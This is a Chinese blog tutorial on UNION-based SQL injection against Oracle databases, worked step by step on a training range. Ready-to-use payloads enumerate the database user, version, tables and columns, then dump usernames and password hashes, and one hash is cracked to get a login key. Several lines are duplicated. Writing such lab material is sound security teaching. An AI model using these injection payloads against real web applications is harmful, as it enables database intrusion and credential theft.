oracle联合注入
作者:互联网
oracle联合注入
- oracle数据库简介:Oracle Database,又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统。它是在数据库领域一直处于领先地位的产品。可以说Oracle数据库系统是世界上流行的关系数据库管理系统,系统可移植性好、使用方便、功能强,适用于各类大、中、小微机环境。它是一种高效率的、可靠性好的、适应高吞吐量的数据库方案。
1. 前置知识:
-
SYS_CONTEXT()
- SYS_CONTEXT()函数是Oracle提供的一个获取环境上下文信息的预定义函数。
- 语法格式:
- SYS_CONTEXT('namespace','parameter'{,LENGTH});
- 第一个参数为'USERENV',是固定的,第二个参数也是固定的,但是是多选固定。
- SYS_CONTEXT 实际上就是一个Oracle存储和传递参数的容器访问函数。
- select sys_context('USERENV','CURRENT_USER') from dual;--返回当前的登陆用户
-
dual表
- dual是一个由Oracle提供的最小的表,不论进行何种操作,它都只有一条记录——'X'。其经常用来构成select的语法规则(因为在oracle中,当你使用select查询语句时必须要加上表名,但是当我们在进行个别查询操作时,比如查询系统时间等,并不需要表名,为了保持select语法规则,于是就提供了dual表)。
- dual是一个由Oracle提供的最小的表,不论进行何种操作,它都只有一条记录——'X'。其经常用来构成select的语法规则(因为在oracle中,当你使用select查询语句时必须要加上表名,但是当我们在进行个别查询操作时,比如查询系统时间等,并不需要表名,为了保持select语法规则,于是就提供了dual表)。
-
V_$INSTANCE系统视图
- 该系统视图用来存储当前数据库实例的状态信息
- 其中的字段名:instance_name,为当前实例的名称(这正是我们所需要的)
-
sys.v_$version系统视图
- 用来存储数据库系统的版本信息
- 用来存储数据库系统的版本信息
-
user_tables系统视图
- 用来存储当前用户所拥有的表的相关数据
- 用来存储当前用户所拥有的表的相关数据
-
user_tab_columns系统视图
- 该视图用来描述当前用户拥有的表、视图和集群的列
- 该视图用来描述当前用户拥有的表、视图和集群的列
2. 注入流程
- 判断注入点
- 判断当前注入点的字段数
- 确定显示位
- 查询当前登录用户
- 查询当前数据库版本信息
- 查询当前数据库名
- 查询我们所需的表名
- 查询表中的字段名
- 查询账户名/密码
3. 靶场实战(这里以“墨者”的的靶场为例)
3.1 判断注入点
- payload:
?id=1 and 1=1 --页面返回正常 ?id=1 and 1=2 --页面返回失败
- 由此可知存在注入点,且为数字型注入
- 由此可知存在注入点,且为数字型注入
3.2 判断当前注入点的字段数
- payload:
?id=1 order by 2 --页面返回正常 ?id=1 order by 3 --页面返回失败
- 由此可知当前注入点的字段数为2
- 由此可知当前注入点的字段数为2
3.2 确定显示位
- payload:
?id=1 and 1=2 union select null,null from dual ?id=1 and 1=2 union select 'null',null from dual ?id=1 and 1=2 union select null,'null' from dual
- 由图像返回结果可知,显示位存在于1号和2号位
- 这里说明一下,为什么oracle与mysql 确定显示位的方法不同:
- 原因是oracle数据库是强数据类型,即union关键字前后的select查询所查询的字段的数据类型必须相同(mysql可以不同),这就导致在我们不知道union关键字前面的数据类型的前提下,必须先使用 null数据类型 来充当字段。然后依次为 null 加单引号使其变为字符串类型,如果加上单引号使null变为的字符串类型与union前面对应的字段类型相同,就自然会在页面中回显出显示位。
- 由图像返回结果可知,显示位存在于1号和2号位
3.3 查询当前登录用户
- payload:
?id=1 and 1=2 union select null,(select sys_context('userenv','current_user') from dual) from dual
- 由下图可知,当前登录的用户是:system用户
- 由下图可知,当前登录的用户是:system用户
3.4 查询当前数据库版本信息
- payload:
?id=1 and 1=2 union select null,(select banner from sys.v_$version where rownum=1) from dual
- 由下图可知,当前数据库的版本为:Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production
- 由下图可知,当前数据库的版本为:Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production
3.5 查询当前数据库名
- payload:
?id=1 and 1=2 union select null,(select instance_name from sys.V_$INSTANCE) from dual
- 由下图可知当前数据库名为:XE
- 由下图可知当前数据库名为:XE
3.6 查询我们所需的表名
- payload:
- 第一步:我们先查当前数据库存在多少表名(心里好歹有个数)
?id=1 and 1=2 union select null,(select to_char(count(table_name),'999') from user_tables) from dual
- 156张,额。。的确有点多啊,。。
- 156张,额。。的确有点多啊,。。
- 第二步:我们还是直接模糊查询吧
?id=1 and 1=2 union select null,(select table_name from user_tables where rownum=1 and table_name like '%user%') from dual
- 可见,我们所要查询的表名为:sns_users
- 可见,我们所要查询的表名为:sns_users
- 第一步:我们先查当前数据库存在多少表名(心里好歹有个数)
3.7 查询表中的字段名
- payload:
- 查询sns_users表所拥有的的字段数量
?id=1 and 1=2 union select null,(select to_char(count(column_name),'99') from user_tab_columns where table_name='sns_users') from dual
- 3个字段,还好。。。
- 3个字段,还好。。。
- 查询每一个字段名
- 第一个字段名
?id=1 and 1=2 union select null,(select column_name from user_tab_columns where table_name='sns_users' and rownum=1) from dual
- 第一个字段名为:USER_NAME
- 第一个字段名为:USER_NAME
- 第二个字段名
?id=1 and 1=2 union select null,(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name not in ('USER_NAME')) from dual
- 第二个字段名为:USER_PWD
- 第二个字段名为:USER_PWD
- 第一个字段名
- 第三个字段名就不需要查询了,显然USER_NAME和USER_PWD两字段就是我们所需要的
- 查询sns_users表所拥有的的字段数量
3.8 查询账户名/密码
- payload:
- 查询有多少对账号密码
?id=1 and 1=2 union select null,to_char((select count(USER_NAME) from "sns_users"),'9') from dual
- 可见有3对
- 可见有3对
- 第一对账号密码:
?id=1 and 1=2 union select USER_NAME,USER_PWD from "sns_users" where rownum=1
- 第二对账号密码:
?id=1 and 1=2 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME not in ('zhong')
- 第三对账号密码:
?id=1 and 1=2 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME not in ('zhong','hu')
- 查询有多少对账号密码
- 三对账号密码分别是
- zhong/1c63129ae9asc60asdua94d3e00495
- hu/1c63129ae9db9g20asdua94d3e00495
- mozhe/ecfd1ad1de2ff2a6734fadf09294f7ed
- 以上三对密码,只有第三队才可以MD5加密成功:mozhe/881175
- 登录拿key:mozhe5a56496fd9d56ec788fdc514d06
标签:dual,union,查询,联合,oracle,null,id,select,注入 来源: https://www.cnblogs.com/02SWD/p/15833983.html